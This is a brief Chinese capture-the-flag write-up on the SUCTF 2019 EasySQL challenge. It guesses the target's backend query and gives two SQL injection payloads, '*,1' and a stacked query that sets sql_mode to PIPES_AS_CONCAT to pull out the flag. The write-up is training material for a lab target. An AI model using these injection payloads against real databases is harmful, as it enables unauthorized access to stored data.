WHCSRL 技术网

[SUCTF 2019]EasySQL1 (buu一周目速通)

进入靶机,根据题目是一道sql注入题目,经过普通手段注入发现大部分关键词都被过滤了,

Array ( [0] => 1 )

一解:发现输入数字回显代码,字母不回显,所以猜测后台代码存在 ||(或)

select $_POST['query'] || flag from flag

 猜测后台代码,构造payload:*,1

等同于

select *,1 from flag

相当于:1 || flag    就等于1呀

select 1 from 的意思其实是建立一个临时列,这个列的所有初始值都被设为了1

二解:

把 || 变成字符串连接符,而不是或。

涉及到mysql中sql_mode参数设置(看了大佬得wp后的学到),设置 sql_mode=pipes_as_concat字符就可以设置。

1;set sql_mode=PIPES_AS_CONCAT;select 1

上面那句执行是:

select concat(1,flag) from Flag

 

 

推荐阅读